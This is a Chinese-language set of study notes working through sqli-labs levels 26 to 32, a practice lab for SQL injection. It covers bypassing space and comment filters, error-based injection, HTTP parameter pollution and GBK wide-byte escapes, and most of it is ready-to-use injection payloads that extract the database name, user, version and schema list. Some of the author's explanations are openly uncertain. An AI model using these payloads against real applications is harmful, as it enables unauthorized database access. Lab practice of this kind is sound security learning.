Less-26
26关开始推荐使用linux下搭建的sqli-labs环境,因为涉及到绕过空格使用的解析字符问题,Windows环境会有问题
代码分析

空格的绕过方法:
+也可以代替空格
以下这些在windows+apache环境下解析会出问题???%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格(长payload出问题)原因不知
由于不能使用注释符,可以构造一个’payload’
1.基于布尔测试漏洞是否存在

2.使用报错注入或者时间盲注
0'+||extractvalue(1,concat(0x5c,version()))||'1'='1 #下边的注入过程替换报错语句内容即可,注意绕过or

Less26a
代码分析

构造payload
111')union%a0select%a01,database(),('3#用%a0代替空格,database()可以替换成之前用的sql注入语句

爆破所有数据库名
100')union%a0select%a01,(select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata),('3

Less27
代码分析

100'unION%a0SelECT%a01,user(),3||'1

Less27a
代码分析

此关使用""包裹参数id,payload将上一关的’改成"即可
100%27unION%a0SelECT%a01,user(),3||%271

Less28
代码分析
payload
100')union%a0select%a01,user(),3||('1

Less28a
代码分析

payload
111')unIon%0bsElect%0b1,database(),3|('1

服务器双层结构
参考sql注入天书学习
以下为示例
上边的访问路径有问题,图也截屏错了,下边补上
http://192.168.0.105/sqli-labs-master/Less-29/index.php?id=1&id=2

下图为大多数服务器对于参数解析的介绍

因此本关的代码审计应该先查看tomcat服务器中的index.jsp文件
路径为:C:\phpstudy\WWW\sqli-labs-master\tomcat-files\sqli-labs\Less-29

查看apache中的文件

payload
?id=1&id=-2'union select 1,database(),3-- +

Less30
代码分析

payload
?id=1&id=-1" union select 1,@@datadir,3--+

Less31
代码分析
payload
?id=1&id=-1") union select 1,user(),3--+#只需将30关的payload加个)

宽字节注入
Less32-37都是关于’和\的过滤,可以使用宽字节注入绕过
原理:mysql在使用GBK编码时,会认为两个字符是一个汉字,如%aa%5c就是一个汉字(前一个ascii码要大于128才能到汉字的范围)
在黑名单函数过滤单引号'时,往往利用的思路是将'转换为\',使单引号无法生效,注入不成功。因此我们要想办法把'前面的\去掉,以下是两种思路:
'url编码后是%27 \在url编码后是%5c1.%df吃掉\ 原理是urlencode(\') = %5c%27,我们在%5c%27前面添加%df==>%df%5c%27,而mysql在GBK编码方式的时候会将两个字节当做一个汉字,因此%df%5c就是一个汉字,而现在%27是一个单独的符号',这样就可以绕过'被转义为\'2.将\'中的\过滤掉,如构造%**%5c%5c%27,后面的%5c会被前面的%5c给注释掉,这也是一种绕过方法。???没懂,后边回头再来%5c%**%5c%5c%27----->\%**\\'第二个反斜杠将第三个转义为一个字符串\,使第三个\失去原本转义的属性。'可以使用 暂时这么理解的,不知道对不对
Less32
代码分析

payload
-1%df%27union%20select%201,database(),3--+

明天学习一下Php的正则表达式过滤函数
preg_quote(PHP 4, PHP 5, PHP 7)preg_quote — 转义正则表达式字符
说明preg_quote ( string $str [, string $delimiter = NULL ] ) : stringpreg_quote()需要参数 str 并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
正则表达式特殊字符有: . \ + * ? [ ^ ] $ ( ) { } = ! < > | : -